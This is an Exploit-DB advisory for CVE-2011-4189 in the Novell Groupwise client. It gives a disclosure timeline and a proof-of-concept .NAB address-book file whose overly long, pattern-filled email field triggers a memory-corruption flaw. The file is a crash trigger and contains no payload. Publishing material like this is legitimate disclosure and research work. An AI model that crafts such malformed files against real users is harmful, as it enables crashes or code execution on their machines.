Exploit-DB #18546
Description: Novell Groupwise - Address Book Remote Code Execution
Type: dos
Platform: windows
Date: 2012-03-01
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Novell Groupwise Address Book Remote Code Execution

Platforms:   Windows

Exploitation:   Remote code execution

CVE Number:   2011-4189

Novell TID:   733885

{PRL}:   2012-04

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in

enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems

management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental

in making the Utah Valley a focus for technology and software development. Novell technology contributed to the

emergence of local area networks, which displaced the dominant mainframe computing model and changed computing

worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Report Timeline
============================

2011-11-30  Vulnerability reported to vendor
2012-02-29  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installation of Novell Groupwise Client.

User must open a malformed Novell Address Book (*.NAB) with an overly long email address to trigger this vulnerability.



#####################################################################################

===========
4) The Code
===========

:::TAGMAP:::0FFE0003:***,3001001F:Name,3A06001F:First Name,3A44001F:Middle Name,3A11001F:Last Name,3A45001F:Prefix,3A05001F:Suffix,3003001F:E-Mail Address,3A56101F:E-Mail Addresses,3A00001F:User ID,6605001F:Post Office,6604001F:Domain,660D001F:Internet Domain,6609001F:Additional Routing,660C0003:E-Mail Address Format,6603001F:GUID,66060003:File ID,6608001F:Network ID,6607001F:eDirectory Distinguished Name,3004001F:Comments,660E001F:AIM/IM Screen Name,6610101F:IM Addresses,3A1A001F:Phone Number,3A08001F:Office Phone,3A09001F:Home Phone,3A1C001F:Mobile Phone,3A23001F:Fax Number,3A21001F:Pager Number,3A29001F:Office Street,3A19001F:Mailstop,3A27001F:Office City,3A28001F:Office State,3A2A001F:Office Postal Code,3A260000:Office Country,3A5D001F:Home Street,3A59001F:Home City,3A5C001F:Home State,3A5B001F:Home Postal Code,3A5A001F:Home Country,3A17001F:Title,3A18001F:Department,3A16001F:Organization,3A51001F:Office Website,3A50001F:Personal Website,3A42001F:Birthday,6612001F:Resource Type,6614101F:Category,600C0003:Last Reference,600D0003:Reference Count,660A0003:Version#,3A41001F:Wedding Anniversary,3A48001F:Spouse,3A4F001F:Nickname,6617001F:User Field 1,6618001F:User Field 2,6619001F:User Field 3,661A001F:User Field 4,3A0D001F:Location,3A10001F:Organizational ID,3A46001F:Profession,3A4A001F:Customer ID,3A07001F:Government ID,3A4E001F:Manager,661B001F:Internet Free/Busy,3A30001F:Assistant,3A02001F:Callback Phone,3A1B001F:Business 2 Phone,3A1D001F:Radio Phone,3A1E001F:Car Phone,3A1F001F:Other Phone,3A2C001F:Telex Phone,3A2D001F:ISDN Phone,3A2E001F:Assistant Phone,3A2F001F:Home 2 Phone,3A24001F:Other Fax,3A25001F:Home Fax,3A4B001F:TTY/TDD Phone,3A57001F:Company Phone,3A63001F:Other Street,3A5F001F:Other City,3A62001F:Other State,3A61001F:Other Postal Code,3A60001F:Other Country,3A64001F:Other PO Box,661D001F:Mailing Street,661E001F:Mailing City,661F001F:Mailing State,6620001F:Mailing Postal Code,6621001F:Mailing Country,6622001F:Mailing PO Box,3A5E001F:Home PO Box,3A2B001F:Office PO Box,3A4C001F:FTP Site,3A49001F:Computer Network Name,661C001F:Mileage,3A58101F:Children,3A43001F:Hobbies
"U","francis",,,"francis,,,"francis@protekresearchlab.com","Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6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